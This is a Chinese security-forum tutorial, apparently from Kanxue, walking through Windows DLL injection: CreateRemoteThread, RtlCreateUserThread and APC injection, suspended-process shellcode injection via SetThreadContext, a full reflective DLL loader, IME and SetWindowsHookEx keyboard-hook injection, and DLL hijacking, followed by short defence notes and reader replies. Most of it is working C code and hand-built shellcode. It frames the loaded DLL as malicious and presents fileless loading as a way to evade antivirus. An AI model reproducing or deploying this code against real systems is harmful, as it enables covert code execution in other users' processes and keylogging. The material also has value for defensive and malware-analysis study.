首页
论坛
专栏
课程

[原创]一篇文章带你了解Dll注入

2019-8-18 00:34 2320

[原创]一篇文章带你了解Dll注入

2019-8-18 00:34
2320

前言

         这是<一篇文章带你...>系列的第四篇,主要会阐明DLL注入的基本原理和几种主流方式,虽然这些方法已经有点滞后了。但是DLL注入的基本原理是不会改变的。自己做的笔记帮助自己理解。准备匆忙。大佬们轻拍。

 

         DLL注入的主要原理就是强制进程自己将需要注入的dll文件注入到自身进程空间内,最好配合Hook技术。

 

         Dll注入可以从三个方向入手:第一:在进程创建初期按照导入表加载dll的时候。第二:进程运行时期利用LoadLibrary函数加载,第三:利用某些系统机制:例如windows消息机制等。

进程创建后期

0x1 CreateRemoteThread

         此方法是最常见的dll注入的方法,原理是由于CreateRemoteThread的函数原型和CreateThread是一致的。所以模仿CreateThread创建线程的方式实现注入。

 

         由于创建的是远程线程,是需要将注入的参数(也就是Dll文件的路径)写入目标进程空间。所以基本步骤如下:

 

         打开目标进程句柄

    //打开目标进程
    hProc = OpenProcess(PROCESS_ALL_ACCESS,
        FALSE,
        dwTargetPid
    );
    if (hProc == NULL)
    {
        printf("OpenProcess:%d\n", GetLastError());
        return 0;
    }

         向目标进程中开辟空间并写入Dll文件路径

    //向目标进程中写入句柄
    LPTSTR psLibFileRemote = NULL;
    psLibFileRemote = (LPTSTR)VirtualAllocEx(hProc, 
        NULL, 
        lstrlen(DllPath) + 1, 
        MEM_COMMIT,
        PAGE_READWRITE);
    if (psLibFileRemote == NULL)
    {
        printf("VirtualAllocEx:%d\n", GetLastError());
        return FALSE;
    }
    BOOL bRet=WriteProcessMemory(hProc,
        psLibFileRemote,
        (LPCVOID)DllPath,
        //(void *)DllPath
        lstrlen(DllPath) + 1,
        NULL);

         获取LoadLibrary的地址

    PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32.dll"),
        "LoadLibraryA");
    if (pfnStartAddr == NULL)
    {
        printf("GetProcAddress %d\n",GetLastError());
        return FALSE;
    }

         利用CreateRemoteThread函数调用LoadLibrary加载dll

    //CreateThreadThread
    HANDLE hThread = CreateRemoteThread(hProc,
        NULL,
        0,
        pfnStartAddr,
        psLibFileRemote,
        0,
        NULL);

0x2 RtlCreateUserThread

         RtlCreateUserThread是CreateRemoteThread的底层实现,所以使用RtlCreateUserThread的原理是和使用CreateRemoteThread的原理是一样的。唯一的区别是使用CreateRemoteThread写入目标进程的是Dll的路径,而RtlCreateUserThread写入的是一段shellcode。

 

         和CreateRemoteThread一样都是需要获取目标进程句柄,获取LoadLibrary地址,dll路径。

 

         接着我们需要获取RtlCreateUserThread地址,RtlCreateUserThread函数原型如下:

typedef NTSTATUS(__stdcall *PCreateThread)(   
    HANDLE Process,                                 //句柄
    PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,  //线程安全描述符              
    BOOLEAN CreateSuspended,                      //创建挂起标志
    ULONG ZeroBits,
    SIZE_T MaximumStackSize,
    SIZE_T CommittedStackSize,
    PUSER_THREAD_START_ROUTINE StartAddress,      //远程线程函数
    PVOID Parameter OPTIONAL,                      //参数
    PHANDLE Thread OPTIONAL,
    PCLIENT_ID ClientId OPTIONAL
    );

         如何构造shellcode?

VOID ShellCodeFun(VOID)
{
    _asm
    {
        call L001
L001:
        pop ebx
        sub ebx,5                                                //自定位
        push dword ptr ds : [ebx]INJECT_DATA.lpParameter         //lpParameter
        call dword ptr ds : [ebx]INJECT_DATA.lpThreadStartRoutine //ThreadProc
        xor ebx,ebx
        push ebx
        push -2
        call dword ptr ds : [ebx]INJECT_DATA.AddrOfZwTerminateThread //ZwTerminateThread
        nop
        nop
        nop
        nop
        nop
    }
}

         将shellcode写入进程内存中,然后调用RtlCreateUserThread执行shellcode。

//写入shellcode
    int bRet = WriteProcessMemory(hProcess, pMem, &Data, sizeof(INJECT_DATA), &dwIoCnt);
    if (bRet == 0)
    {
        printf(" WriteProcessMemory:%d\n", GetLastError());
        return FALSE;
    }
    status = RtlCreateUserThread(hProcess,    //进程句柄
        lpThreadAttributes,                   //线程安全符
        TRUE,                                 //创建挂起标志
        0,                                    //ZeroBit
        dwStackSize,                          //栈大小
        0,
        (PUSER_THREAD_START_ROUTINE)pMem,    //StartAddress,包含了shellcode和数据(StartAddress)
        NULL,                                //参数
        &hThread,                            //远程线程句柄
        &Cid                                 //ClientID
    );

0x3 APC注入

         APC中文名称为异步过程调用, APC是一个链状的数据结构,可以让一个线程在其本应该的执行步骤前执行其他代码,每个线程都维护这一个APC链。当线程从等待状态苏醒后,会自动检测自己得APC队列中是否存在APC过程。

 

         所以只需要将目标进程的线程的APC队列里面添加APC过程,当然为了提高命中率可以向进程的所有线程中添加APC过程。然后促使线程从休眠中恢复就可以实现APC注入。

 

         首先依旧是将DLL文件路径写入进程。

    lpData = VirtualAllocEx(hProcess, lpData, lstrlen(szDllFullPath) + 1, MEM_COMMIT, PAGE_READWRITE);
    if (lpData)
    {
        bStatus = WriteProcessMemory(hProcess, lpData, szDllFullPath, lstrlen(szDllFullPath) + 1, &stSize);
        if (FALSE == bStatus)
        {
            printf("WriteProcessMemory:%d\n", GetLastError());
            return NULL;
        }
    }

         然后使用QueueUserAPC将APC例程添加到APC队列中,QueueUserAPC三个参数分别是APC例程,线程句柄,例程参数。所以还需要获取线程句柄

dwRet=QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)lpData);
if (NULL == dwRet)            
{
    printf("QueueUserAPC:%d\n", GetLastError());
    return NULL;
}

         当然,为了提高命中率,可以使用遍历所有线程,然后利用te32.th32OwnerProcessID是否等于目标进程PID的策略进行进程全局注入。

if (Thread32First(hThreadSnap, &te32))
{
    do
    {
        //线程所属的进程ID==目标进程ID
        if (te32.th32OwnerProcessID == dwPid)   
        {
            //获取当前线程句柄
            HANDLE hThread = OpenThread(THREAD_ALL_ACCESS,FALSE,te32.th32ThreadID);
            DWORD dwRet = NULL;            
            //插入APC队列
            dwRet=QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)lpData);
            if (NULL == dwRet)
            {
                printf("QueueUserAPC:%d\n", GetLastError());
                return NULL;
            }
            CloseHandle(hThread);
        }
    } while (Thread32Next(hThreadSnap, &te32));
}

0x4 代码注入

         使用傀儡进程:以挂起方式创建进程,然后向其中写入shellcode,利用shellcode执行LoadLibrary

 

         首先以挂起方式创建进程,CreateProcess的第6个参数可以设定进程创建的方式

bRetProcess = CreateProcess("D:\\HostProc.exe",
    NULL,
    NULL,
    NULL,
    NULL,
    CREATE_SUSPENDED,       //挂起创建进程
    NULL,
    NULL,
    &Startup,
    &pi);

         然后需要保存进程的上下文信息,主要是EIP的值。以便于Load完成后返回。

//获取CONTEXT
ctx.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(pi.hThread, &ctx);

         接着需要构建我们替换执行的代码。这段代码的目的是Load我们的恶意的dll文件,所以至少需要做两个方面的准备,第一:需要知道LoadLibrary的地址。第二需要知道Dll的路径。为了让程序更好的运行还需要保存现场。最后利用ret方式返回。

unsigned char sc[] = {
        //push ret
        0x68,retChar[0],retChar[1],retChar[2],retChar[3],
        //push flags
        0x9C,
        //pushad
        0x60,
        //push DllPath
        0x68, strChar[0], strChar[1],strChar[2],strChar[3],
        //mov eax,AddressOfLoadLibrary
        0xB8, apiChar[0],apiChar[1],apiChar[2],apiChar[3],
        //call eax
        0xFF,0xD0,
        //popad
        0x61,
        //popfd
        0x9D,
        //ret
        0xC3 };

         构造完这些之后将shellcode写入,由于内存本身就有执行属性,所以不需要修改内存属性。

bRet=WriteProcessMemory(pi.hProcess,
    Remote_ShellCodePtr,
    ShellCode,
    ShellCodeLength,
    NULL
    );
if (FALSE == bRet)
{
    printf("WriteProcessMemory:%d\n", GetLastError());
    return FALSE;
}

         最后利用SetThreadContext将我们的EIP设置为shellcode起始地址。并调用ResumeThread重启线程

ctx.Eip =(DWORD) Remote_ShellCodePtr;
ctx.ContextFlags = CONTEXT_CONTROL;
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);

         为了提高命中率可以向目标进程的所有线程进行注入.利用CreateToolhelp32Snapshot等三个函数遍历线程。

if (Thread32First(hThreadSnap, &te32))
{
    do
    {
        if (te32.th32OwnerProcessID == ProcessId)
        {
            bStatus = TRUE;
            dwTidList[Index] = te32.th32ThreadID;
            //    printf("%d:%d:%d\n", Index, dwTidList[Index], te32.th32ThreadID);
            Index++;
        }
    } while (Thread32Next(hThreadSnap, &te32));
}

0x5 反射式DLL注入

         反射式dll注入不需要dll文件落地,减少被查杀的风险。首先将需要注入的dll写入进程内存,然后为该dll添加一个导出函数,利用这个导出函数让其自动的装载dll。注射器是将DLL文件写入目标进程内存。反射装载器实现的就是模拟dll装载器装载dll文件的操作。

 

         首先说一下注射器,注射器的目的是将Dll文件写入到目标进程空间,然后获取里面导出函数ReflectiveLoader。

 

         首先需要打开目标进程句柄

//打开目标进程句柄
HANDLE hProcess = NULL;
DWORD dwProcessId = 0;
dwProcessId = GetProcessIdByName(ProcessNmae);
hProcess = OpenProcess(PROCESS_CREATE_THREAD |   //创建线程所必需的
    PROCESS_QUERY_INFORMATION |                //检索有关进程的某些信息
    PROCESS_VM_OPERATION |                     //需要对进程的地址空间执行操作
    PROCESS_VM_WRITE |                         //需要对进程的地址空间执行写操作
    PROCESS_VM_READ,                          //需要对进程的地址空间执行读操作
    FALSE,
    dwProcessId);

         向目标进程写入DLL数据

//为需要注入的DLL在目标进程中分配空间
LPVOID lpRemoteLibraryBuffer = NULL;
lpRemoteLibraryBuffer=VirtualAllocEx(hProcess, NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READ);
if (!lpRemoteLibraryBuffer)
{
    printf("VirtualAllocEx:%d\n", GetLastError());
    return NULL;
}
//将DLL写入目标内存
if (!WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL))
{
    printf("WriteProcessMemory:%d\n", GetLastError());
    return NULL;
}

         利用导出表获取导出函数地址ReflectiveLoader。

while (iCounter--)
{
    char* cpExportFunctionName = (char*)(uiBaseAddress + RvaToOffset(DEREF_32(uiNameArray), uiBaseAddress));
    //为了找到载入DLL中的导出函数ReflectiveLoader地址
    if (strstr(cpExportFunctionName, "ReflectiveLoader") != NULL)
    {
        //获取目标函数数组的地址
        uiAddressArray = uiBaseAddress + RvaToOffset(((PIMAGE_EXPORT_DIRECTORY)uiExportF0A)->AddressOfFunctions, uiBaseAddress);
        //获取导出函数ReflectiveLoader的地址,计算公式FunAddress=uiAddressArrary+Orginal*sizeof(dword)
        uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
        //返回offset
        return RvaToOffset(DEREF_32(uiAddressArray), uiBaseAddress);
    }
    //下一个函数名称数组
    uiNameArray += sizeof(DWORD);
    //下一个函数索引数组
    uiNameOrdinals += sizeof(DWORD);
}

         然后利用CreateRemoteThread跨线程调用ReflectiveLoader。

//使用CreateRemoteThread调用lpReflectiveLoader加载DLL
DWORD dwThreadId = 0;
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId);
printf("CreateRemoteThread:%d\n", GetLastError());

         接下来就是ReflectiveLoader的编程,ReflectiveLoader其实就是一个dll加载器。

 

         首先需要知道当前dll的基地址,而ReflectiveLoader肯定位于这个DLL中所以在此函数地址出逐次递减,然后判断是否存在MZ标志,MZ的地址就是DLL的基地址

    uiLibraryAddress = caller();
    ULONG_PTR uiHeaderValue = NULL;
    while (TRUE)
    {
        if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
        {
            //NtHeaders的偏移
            uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
            if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
            {
                //NtHeaders
                uiHeaderValue += uiLibraryAddress;
                //
                if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
                {
                    break;
                }
            }
        }
        uiLibraryAddress--;
    }

         接着获取注射器所需要的API函数LoadLibrary,GetProcess,VirtualAlloc的地址。

    //读取LDR的链表地址
    uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
    USHORT usCounter = 0;
    ULONG_PTR uiValueC = 0;
    //读取InMemoryOrderModuleList的入口地址
    ULONG_PTR uiValueA = (LONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
    while (uiValueA)
    {
        //DllName
        uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
        //DllName.Length
        usCounter = (USHORT)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
        //存储的Dll Module的HASH
        uiValueC = 0;
        //计算模块名的HASH值
        do
        {
            uiValueC = ror((DWORD)uiValueC);
            if (*((BYTE*)uiValueB) >= 'a')
                uiValueC += *((BYTE *)uiValueB) - 0x20;
            else
                uiValueC += *((BYTE *)uiValueB);
            uiValueB++;
        } while (--usCounter);
        if ((DWORD)uiValueC == KERNEL32DLL_HASH)
        {
            //获取导出表
            //1.获取基地址(DOS头)
            uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
            //2.获取Nt头
            uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
            //3.获取导出表数据目录
            uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
            //4.获取导出表的地址
            uiExportDir = uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress;
            //5.获取函数名称数组
            uiNameArray = uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames;
            //6.获取导出表的索引数组
            uiNameOrdinals = uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals;
            usCounter = 3;
            while (usCounter > 0)
            {
                dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
                //比较是否是LoadLibrary,GetProcAddress,VirtualAlloc的HASH
                if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH)
                {
                    //获取指定函数的地址
                    uiAddressArray = uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions;
                    uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
                    //存储函数的VA
                    //存储LoadLibrary的绝对地址
                    if (dwHashValue == LOADLIBRARYA_HASH)
                        pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray));
                    //存储GetProcAddress的绝对地址
                    else if (dwHashValue == GETPROCADDRESS_HASH)
                        pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray));
                    //存储VirtualAlloc的绝对地址
                    else if (dwHashValue == VIRTUALALLOC_HASH)
                        pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray));
                    usCounter--;
                }
                uiNameArray += sizeof(DWORD);
                uiNameOrdinals += sizeof(DWORD);
            }
        }
        else if ((DWORD)uiValueC == NTDLLDLL_HASH)
        {
            //获取Ntdll的基地址
            uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
            //获取NtHeader
            uiExportDir = (uiBaseAddress+((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
            //获取数据目录导出表
            uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
            //获取导出表的VA
            uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
            //获取导出表函数名称数组
            uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
            //获取导出表函数索引数组
            uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
            usCounter = 1;
            while (usCounter > 0)
            {
                //利用导出函数名称计算HASH
                //DEREF_32函数是为了将32位DWORD转化为字符串
                dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
                //比较是否是ntflushinstructioncache函数HASH
                if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
                {
                    //获取函数地址数组
                    uiAddressArray =uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions;
                    //根据索引找到其在函数地址数组中的地址
                    uiAddressArray +=  ((DEREF_16(uiNameOrdinals) * sizeof(DWORD)));
                    //存储pNtFlushInstructionCache函数的地址
                    if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
                    {
                        //RVA+BaseAddress=VA
                        pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray));
                    }
                    usCounter--;
                }
                //下一个函数名称数组
                uiNameArray += sizeof(DWORD);
                uiNameOrdinals += sizeof(DWORD);
            }
        }
        //已经找到四个函数地址VA结束第二歩
        if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache)
            break;
        uiValueA = DEREF(uiValueA);
    }

         有了前面这几个API函数做支撑,可以将DLL文件载入到内存,这个是模拟装载器的载入,并不是单纯的读取。

//NT头
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
//开辟内存空间
//因为是自己构架的Loader,所以没有加载kernel32.dll需要自行获取函数的地址,然后调用
uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, 
((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, 
    MEM_RESERVE | MEM_COMMIT,
    PAGE_EXECUTE_READWRITE);
//文件头大小
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
//原地址地址
uiValueB = uiLibraryAddress;
//目的地址
uiValueC = uiBaseAddress;
while (uiValueA--)
    *(BYTE*)uiValueC++ = *(BYTE*)uiValueB;
//复制节区
ULONG_PTR uiValueD=NULL;
uiValueA = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader;
//获取节区数目
ULONG_PTR uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while (uiValueE--)
{
    //获取节区VA
    uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);
    //获取磁盘中节区的VA
    uiValueC = uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData;
    //获取磁盘中节区大小,不需要填充
    uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
    //复制
    while (uiValueD--)
        *(BYTE*)uiValueC++ = *(BYTE*)uiValueC++;
    //下一个节区
    uiValueA += sizeof(IMAGE_SECTION_HEADER);
}

         然后就是修正IAT和重定位表。修正OEP。和加壳很像!

    //6.修正重定位表
    //计算重定位信息公式:VA-ImageBase+BaseAddress
    //计算BaseAddress-ImageBase
    uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
    //获取重定位数据目录
    uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
    if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size)   //确定重定位表是否存在值
    {
        //获取重定位表VA
        uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
        while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)
        {
            //获取重定位块的RVA
            uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);
            //获取重定位块的个数
            uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
            uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
            while (uiValueB--)
            {
                if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)
                    *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
                else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)
                    *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
                else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)
                    *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
                else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)
                    *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
                //获取下一个重定位
                uiValueD += sizeof(IMAGE_RELOC);
            }
            uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
        }
    }
    //7.调用DLL的OEP
    //获取DLL的OEP
    uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);
    //刷新指令集
    pNtFlushInstructionCache((HANDLE)-1, NULL, 0);
    //调用DLL入口点
    ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);
    return uiValueA;

         总结一下

  • 注射器的实现
    • 1.将待注入DLL读入自身内存(利用解密磁盘上加密的文件、网络传输等方式避免文件落地)
    • 2.利用VirtualAlloc和WriteProcessMemory在目标进程中写入待注入的DLL文件
    • 3.利用CreateRemoteThread等函数启动位于目标进程中的ReflectiveLoader
  • ReflectiveLoader的实现,ReflectiveLoader要完成的任务是对自身的装载
    • 1.定位DLL文件在内存中的基址,便于后期载入内存
    • 2.获取所需的系统API
    • 3.分配一片用来装载DLL的空间以内存方式写入,而非文件方式
    • 4.复制PE文件头和各个节
    • 5.处理DLL的引入表,修复重定位表
    • 6.调用DLL入口点

系统机制

0x6 输入法注入

         切换输入法时候,输入法管理器imm32.dll就会加载IME模块,这样就形成了输入法注入的充要条件。而由于这个Ime文件本质上只是个存放在C:\WINDOWS\system32目录下的特殊的DLL文件,因此我们可以利用这个特性,在Ime文件中使用LoadLibrary()函数待注入的DLL文件。

 

         首先就是编写ime文件,至少需要两个导出函数BOOL ImeClass_Register(HINSTANCE hinstDLL)BOOL WINAPI ImeInquire(LPIMEINFO lpIMEInfo, LPTSTR lpszUIClass, LPCTSTR lpszOption)这两个是必须要实现的。剩下的导出函数可以选择不去实现。

 

         接着编写注射器。利用ImmInstallIME安装ime文件,当输入法切换的时候就可以注入dll了。

void InstallIME()
{
    //获取当前默认的输入法
    SystemParametersInfo(SPI_GETDEFAULTINPUTLANG,
        0,
        &m_retV,
        0);
    //安装输入法
    m_hImeFile32 = ImmInstallIME("HookIme.ime",
        "我的输入法");
    //是否安装成功
    if (ImmIsIME(m_hImeFile32))
    {
        //设置默认输入法
        SystemParametersInfo(SPI_SETDEFAULTINPUTLANG,
            0,
            &m_hImeFile32,
            SPIF_SENDWININICHANGE);
    }
}

0x7 SetWindowsHookEx

         我的理解是:windows维护着消息队列,应用程序会从队列中取出消息,不同的消息有着不同的编号,我们根据编号idHook,设置不同钩子。如何设置钩子?可以利用SetWindowsHookEx这个API函数,函数原型如下:第一个参数是消息编号,第二个参数为Hook函数

HHOOK SetWindowsHookExA(
  int       idHook,
  HOOKPROC  lpfn,
  HINSTANCE hmod,
  DWORD     dwThreadId);

         具体操作如下:

extern "C" _declspec(dllexport) void HookStart()
{
//    HHOOK hHook = NULL;
    g_hHook=SetWindowsHookEx(WH_KEYBOARD, HookProc, 
        GetModuleHandle("E://Viusal Studio//kanxue//注入技术//SetWindowsHookEx//Inject_dll//Debug//Inject_dll.dll"), 0);
    if (NULL == g_hHook)
    {
        MessageBox(NULL, "安装钩子失败", "提示", MB_OKCANCEL);
    }
}

其他方法:

         DLL劫持法(输入表DLL替换法),原理是利用搜索DLL路径存在先后顺序(exe程序目录>系统目录>当前目录>Path),当较高层存在一个同名的DLL文件的时候,就会直接加载较高层的DLL文件。常常用于病毒的白加黑。需要注意的是黑DLL路径优先级一定要高于原来的dll文件,第二,一定要具有源dll文件所有的导出函数。

 

         毕竟新创建的进程在加载User32.dll时,都会自动调用LoadLibrary去加载注册表中某个表项键值里写入的Dll路径

  • x64下:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
  • x86下:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Windows

应用级防护

         在创建远程线程创建初期在DllMain中防御远程线程,此时尚未调用LoadLibrary。可以对线程的合法性判断
         LoadLibrary之前首先可以挂钩LoadLibrary函数,然后检查dll路径合法性
         LoadLibrary之后枚举可疑内存和模块



[公告]安全服务和外包项目请将项目需求发到看雪企服平台:https://qifu.kanxue.com

最新回复 (7)
cattyabcd 2019-8-18 01:02
2
0
很详细,受教了,感谢大佬
pxhb 2 2019-8-18 08:58
3
0
反射方式看起来很高端呀
fatcateatrat 2019-8-18 09:49
4
0
学习学习.
mszl 2019-9-7 07:22
5
0
好文章 ,学习了~~
xxRea 5天前
6
0
学习了·
5ilent 5天前
7
0
补充一种注入姿势。使用SetThreadContext,获取线程的上下文,修改Rip,跳到写入目标进程的shellcode,加载dll后跳回到原Rip继续执行。这个比较隐蔽吧,因为不会创建新的线程,只是在原有线程上动手脚。
8
0
5ilent 补充一种注入姿势。使用SetThreadContext,获取线程的上下文,修改Rip,跳到写入目标进程的shellcode,加载dll后跳回到原Rip继续执行。这个比较隐蔽吧,因为不会创建新的线程,只 ...
这个有写,原理是一样的,您那个算是代码注入,更加隐蔽,结合Hook效果特棒
游客
登录 | 注册 方可回帖
返回